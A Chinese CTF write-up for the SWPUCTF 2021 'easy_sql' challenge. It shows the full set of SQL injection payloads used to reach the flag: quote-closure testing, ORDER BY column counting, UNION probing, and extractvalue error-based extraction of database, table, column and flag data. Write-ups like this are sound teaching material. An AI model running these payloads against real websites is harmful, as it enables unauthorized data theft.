[SWPUCTF 2021 新生赛]easy_sql

开始界面提示输入一些东西

首先要得到第一个信息:参数是wllm(刚开始没有注意到,按照sqllabs闯关使用的参数id=1之类的,页面不会有什么变化)

1.先判断闭合方式

/?wllm=1'   #页面如下可以判断闭合方式为单引号闭合

2.接着判断字节数

/?wllm=1' order by 3--+  #接着输入4就不对了,由此判断字段数数是3

3.判断回显位

/?wllm=1' union select 1,2,3--+      
根据页面显示可以发现没有回显位,转变思路为报错注入

4.extractvalue报错注入

我们已经知道了字段数,直接爆库名

/?wllm=1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
 

得到库名是test_db

5.爆表名

/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3--+

6.我们直接尝试查看test_tb内的字段名

/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'))),3--+

7.看到flag了,查看表内数据

/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),1,30) from test_tb)))--+
​

​# 因为extractvalue()函数只能返回32个字符,因此我们使用substring()函数解决这个问题:例如substring("abc",1,1),此语句表示从第一个字符读取一个字符返回,在上面的payload中,我们得到的数据中,从第一个字符起读取30个字符返回

​
/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),31,30) from test_tb)))--+

整理一下flag,可以得到NAACTF{78364021-e82c-4a9d-8118b-0f23c35937d2}

整体来看这道题目不难,都是基本步骤,很适合新手小白

  • 11
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值